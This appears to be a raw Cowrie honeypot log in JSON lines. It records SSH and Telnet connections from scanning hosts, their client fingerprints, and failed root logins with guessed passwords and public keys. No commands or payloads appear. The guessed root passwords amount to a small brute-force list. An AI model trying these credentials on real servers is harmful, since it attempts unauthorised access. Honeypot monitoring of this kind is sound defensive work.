{"eventid":"cowrie.login.failed","username":"root","fingerprint":"77:24:3c:85:29:12:d3:fb:e5:76:0a:cb:b5:f0:1c:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC16Z3tr5monfWcFVcJtg9KaaR95d3GhYBEYeJ4+7ZrgUOqjVMEF4BU1WlwiJHwAL51UU/e0NX6beycpnRl0tvpwA5kffuH99dyF5uqXmhXST8FZEK6JZ5CroIo8EuYS3aCIrtTIx8yEScbUuMQhLj4F7qdz7eqXLk5MjYkqjbxu6bqtTXZKi/MYcOLZino3YUZrcS3Z22ilJlmu5aq2mk9iMJArEFUu0JzSSjKQXbDYqAd630R/0Qt+5SX4DtbM4g7zJHdpjmae5svwnoRqD6PolEkUpamlVsi5ZN56niedxQGObPHjAEMv8EtBCj3IuqQPDmH2FGwLRpIHb6FWE8ljKVNJ0dNATzZvXxVLwOs0jLVRDA1Z2hNT44YcOT5QLe8KJhOWZqqNL8JxY3hBBKmDru+gfp9irfmvuSQpfKx/IV2/by6u9ztSnn/1t7d3n76swHlVD+kKSW1FHgPfcez35uUFkz6GUnZxEKIl7+m0udUtVrIV6WgHJKdHl31HPs=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:37:11.829938Z","src_ip":"89.37.117.103","session":"c68c12b91834","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:37:11.960943Z","src_ip":"89.37.117.103","session":"c68c12b91834","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.78593111038208,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:37:13.204010Z","src_ip":"152.42.224.71","session":"eda630c089d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":56.61846351623535,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:37:14.404840Z","src_ip":"152.42.224.71","session":"41b9ba9ec388","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37716,"dst_ip":"10.17.0.5","dst_port":23,"session":"915d9a78194c","protocol":"telnet","message":"New connection: 152.42.224.71:37716 (10.17.0.5:23) [session: 915d9a78194c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:37:19.989844Z"}
{"eventid":"cowrie.session.closed","duration":45.163984060287476,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:37:23.493210Z","src_ip":"152.42.224.71","session":"de1d06566bcb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.259673833847046,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:37:24.470016Z","src_ip":"152.42.224.71","session":"402be10c8fde","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"166.1.144.134","src_port":37050,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e00a0e41a95","protocol":"ssh","message":"New connection: 166.1.144.134:37050 (10.17.0.5:22) [session: 4e00a0e41a95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:37:25.837026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:37:25.842365Z","src_ip":"166.1.144.134","session":"4e00a0e41a95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:37:25.948549Z","src_ip":"166.1.144.134","session":"4e00a0e41a95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc123321","message":"login attempt [root/Abc123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:37:26.386607Z","src_ip":"166.1.144.134","session":"4e00a0e41a95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:37:27.491286Z","src_ip":"166.1.144.134","session":"4e00a0e41a95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"52.236.56.129","src_port":45138,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae382af98ff3","protocol":"ssh","message":"New connection: 52.236.56.129:45138 (10.17.0.5:22) [session: ae382af98ff3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:37:28.973637Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:37:28.978526Z","src_ip":"52.236.56.129","session":"ae382af98ff3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:37:29.045453Z","src_ip":"52.236.56.129","session":"ae382af98ff3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"skywalker","message":"login attempt [root/skywalker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:37:29.344702Z","src_ip":"52.236.56.129","session":"ae382af98ff3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:37:30.414961Z","src_ip":"52.236.56.129","session":"ae382af98ff3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50138,"dst_ip":"10.17.0.5","dst_port":23,"session":"03d331fde792","protocol":"telnet","message":"New connection: 152.42.224.71:50138 (10.17.0.5:23) [session: 03d331fde792]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:37:31.174180Z"}
{"eventid":"cowrie.session.closed","duration":48.385427713394165,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:37:34.697873Z","src_ip":"152.42.224.71","session":"b14dd7fce04b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.575695753097534,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:37:40.333950Z","src_ip":"152.42.224.71","session":"5cbff3f8f2aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.86","src_port":55630,"dst_ip":"10.17.0.5","dst_port":22,"session":"61a9d90bcf66","protocol":"ssh","message":"New connection: 165.154.6.86:55630 (10.17.0.5:22) [session: 61a9d90bcf66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:37:44.635353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:37:44.639956Z","src_ip":"165.154.6.86","session":"61a9d90bcf66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:37:44.856677Z","src_ip":"165.154.6.86","session":"61a9d90bcf66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":58.64790725708008,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:37:45.493088Z","src_ip":"152.42.224.71","session":"d875266d8539","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"dkimujgik","message":"login attempt [root/dkimujgik] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:37:45.754345Z","src_ip":"165.154.6.86","session":"61a9d90bcf66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":40300,"dst_ip":"159.203.135.109","dst_port":22,"session":"94997127d99d","protocol":"ssh","message":"New connection: 185.236.22.41:40300 (159.203.135.109:22) [session: 94997127d99d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:37:46.248312Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:37:46.253199Z","src_ip":"185.236.22.41","session":"94997127d99d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:37:46.357671Z","src_ip":"185.236.22.41","session":"94997127d99d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mrak666","message":"login attempt [root/mrak666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:37:46.670150Z","src_ip":"185.236.22.41","session":"94997127d99d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:37:46.973058Z","src_ip":"165.154.6.86","session":"61a9d90bcf66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:37:47.797617Z","src_ip":"185.236.22.41","session":"94997127d99d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55840,"dst_ip":"10.17.0.5","dst_port":23,"session":"aee60c032369","protocol":"telnet","message":"New connection: 152.42.224.71:55840 (10.17.0.5:23) [session: aee60c032369]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:37:59.904531Z"}
{"eventid":"cowrie.session.closed","duration":120.00500535964966,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:38:03.448866Z","src_ip":"152.42.224.71","session":"7635bda0f063","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.227.158","src_port":59416,"dst_ip":"10.17.0.5","dst_port":22,"session":"d163dd1b40e0","protocol":"ssh","message":"New connection: 165.154.227.158:59416 (10.17.0.5:22) [session: d163dd1b40e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:38:05.586047Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:38:05.591444Z","src_ip":"165.154.227.158","session":"d163dd1b40e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:38:05.815736Z","src_ip":"165.154.227.158","session":"d163dd1b40e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lai123","message":"login attempt [root/lai123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:38:06.742296Z","src_ip":"165.154.227.158","session":"d163dd1b40e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:38:07.969176Z","src_ip":"165.154.227.158","session":"d163dd1b40e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.26.188.219","src_port":63312,"dst_ip":"10.17.0.5","dst_port":22,"session":"d13aa979ba38","protocol":"ssh","message":"New connection: 200.26.188.219:63312 (10.17.0.5:22) [session: d13aa979ba38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:38:16.384442Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:38:16.390448Z","src_ip":"200.26.188.219","session":"d13aa979ba38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:38:16.530089Z","src_ip":"200.26.188.219","session":"d13aa979ba38","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7d:35:8c:c4:a1:0b:e0:10:dd:2e:8f:27:26:1b:53:04","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9kySn2c4VByjqot1hGaGfbgLlFsOxDd+yoLis8eSUqSZVDtWPBLeCQ/3E6+wbQoUQVLhHnQsTaO4jKIWlXwBqfJ3yjo2C57ZO4WSIB4j27Qr0N9NaB5b2d1wcOqutkA2q8HyMlsPWo4Nr0K2ihveUjwKGlPljLRcXpdaWAto1tuE9jsZrLEBabQu1bItwV5TR93TOZo4XYP0CoF2oGssaBvEnJhnXMkG2/D7VZcmJiJPz1ivqLQTAJjIGRETczdxooSvnPpAGzXXA1qkfr7pOyO+k+xgmAbHfVkCpECMuvEBXSnhQ+RIXq+mBMETSGbssaltimlR+PTuOa+YVCnEl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7d:35:8c:c4:a1:0b:e0:10:dd:2e:8f:27:26:1b:53:04","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:38:17.176781Z","src_ip":"200.26.188.219","session":"d13aa979ba38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7d:35:8c:c4:a1:0b:e0:10:dd:2e:8f:27:26:1b:53:04","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9kySn2c4VByjqot1hGaGfbgLlFsOxDd+yoLis8eSUqSZVDtWPBLeCQ/3E6+wbQoUQVLhHnQsTaO4jKIWlXwBqfJ3yjo2C57ZO4WSIB4j27Qr0N9NaB5b2d1wcOqutkA2q8HyMlsPWo4Nr0K2ihveUjwKGlPljLRcXpdaWAto1tuE9jsZrLEBabQu1bItwV5TR93TOZo4XYP0CoF2oGssaBvEnJhnXMkG2/D7VZcmJiJPz1ivqLQTAJjIGRETczdxooSvnPpAGzXXA1qkfr7pOyO+k+xgmAbHfVkCpECMuvEBXSnhQ+RIXq+mBMETSGbssaltimlR+PTuOa+YVCnEl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:38:17.180353Z","src_ip":"200.26.188.219","session":"d13aa979ba38","protocol":"ssh"}
